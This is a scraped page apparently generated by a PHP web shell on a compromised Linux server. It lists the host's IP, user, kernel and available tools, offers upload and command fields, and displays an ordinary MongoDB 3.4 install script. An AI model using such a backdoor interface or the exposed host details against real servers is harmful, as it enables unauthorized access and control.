403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/installer/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/installer/services/mongodb-3.4-offirepo
#!/bin/bash


if [ -f "include/startup.sh" ]; then
    . include/startup.sh
elif [ -f "../include/startup.sh" ]; then
    . ../include/startup.sh
fi

rootDir=$(rootDir)

echo "Adding repo to OS" | log

echo "deb [ arch=amd64,arm64 ] http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.4 multiverse" | tee /etc/apt/sources.list.d/mongodb-org-3.4.list
apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 0C49F3730359A14518585931BC711F9BA15703C6
apt update

echo "Install mongodb from apt" | log

apt-get install -y glibc-source mongodb-org | log
checkPackageInstalled glibc-source mongodb-org

echo "Enabling authorization" | log

sed -i "s/#security/security/g" /etc/mongod.conf
sed -i "/security:/ a \  authorization: enabled" /etc/mongod.conf

echo "Activating service" | log

systemctl enable mongod.service
systemctl start mongod.service 
sleep 5

echo "Adding admin user" | log

command="db.adminCommand({ createUser: \"admin\", pwd: \"$ADMINPASSWORD\", roles: [\"userAdminAnyDatabase\", \"dbAdminAnyDatabase\", \"readWriteAnyDatabase\"]});"
mongo --eval "${command}" | log

echo "Adding descriptions" | log

descriptionAppend "MongoDB Address: ${CWM_SERVERIP}"
descriptionAppend "MongoDB Username: admin"
descriptionAppend "MongoDB Password: ${ADMINPASSWORD}"
descriptionAppend " "
descriptionAppend "MongoDB config file: /etc/mongod.conf"
descriptionAppend " "

echo "Adding dependency tags" | log

tag mongodb.success
tagScript success

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit